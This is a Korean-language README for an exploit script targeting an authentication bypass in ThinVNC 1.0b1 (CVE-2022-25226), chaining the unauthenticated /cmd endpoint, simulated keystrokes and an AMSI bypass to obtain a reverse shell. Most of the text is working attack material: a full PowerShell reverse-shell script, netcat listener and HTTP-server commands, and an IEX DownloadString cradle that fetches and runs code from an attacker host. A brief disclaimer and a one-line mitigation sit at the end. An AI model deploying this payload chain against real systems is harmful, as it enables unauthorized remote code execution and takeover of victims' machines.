
인증되지 않은 /cmd 엔드포인트 액세스와 AMSI 우회 및 클립보드 인젝션을 연결하여 리버스 셸을 전달하는 ThinVNC 1.0b1 인증 우회(CVE-2022-25226)용 Python 익스플로잇 스크립트입니다.
저자: krill-x7
참조: https://fluidattacks.com/advisories/sinatra
ThinVNC 1.0b1에는 인증 우회 취약점(CVE-2022-25226)이 존재하며, 원격 공격자가 인증 없이 백엔드와 상호작용할 수 있습니다. 노출된 /cmd 엔드포인트를 활용하여 공격자는 키 입력을 시뮬레이션하고, PowerShell을 열고, AMSI를 우회하고, 임의의 명령을 실행할 수 있습니다—궁극적으로 원격 코드 실행(RCE)으로 이어집니다.
이 스크립트는 이러한 기본 요소들을 연결하여 대상 시스템에서 리버스 셸을 획득합니다.
이 코드는 교육 목적으로만 제공됩니다.
소유한 시스템이나 명시적으로 테스트가 허가된 시스템에서만 사용하십시오.
rev.ps1 리버스 셸 스크립트python3 thinvnc_rce.py -t <TARGET_IP> -tp <TARGET_PORT> -a <ATTACKER_IP> -ap <ATTACKER_PORT>
python3 thinvnc_rce.py -t 192.168.1.100 -tp 8080 -a 192.168.1.200 -ap 8000
rev.ps1 만들기이 내용을 rev.ps1 파일로 저장하십시오.
중요: 192.168.1.200과 8000을 공격자의 IP와 리스닝 포트로 바꾸십시오.
$client = New-Object System.Net.Sockets.TCPClient("192.168.1.200",8000);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
}
$client.Close()
rev.ps1 호스팅같은 디렉터리에서 실행:
python3 -m http.server 8000
nc -lvnp 8000
/cmd?cmd=connect 요청으로 유효한 SID를 얻습니다./cmd?cmd=start를 통해 키보드/마우스 액세스 권한으로 해당 SID를 시작합니다.Ctrl+Esc 키 조합을 보내 시작 메뉴를 엽니다.메모리에서 실행되는 페이로드는 다음과 같습니다:
IEX((New-Object System.Net.WebClient).DownloadString('http://<ATTACKER_IP>:<PORT>/rev.ps1'))
<ATTACKER_IP> 및 <PORT>를 실제 IP와 포트로 바꾸십시오.
/cmd 엔드포인트를 차단하십시오.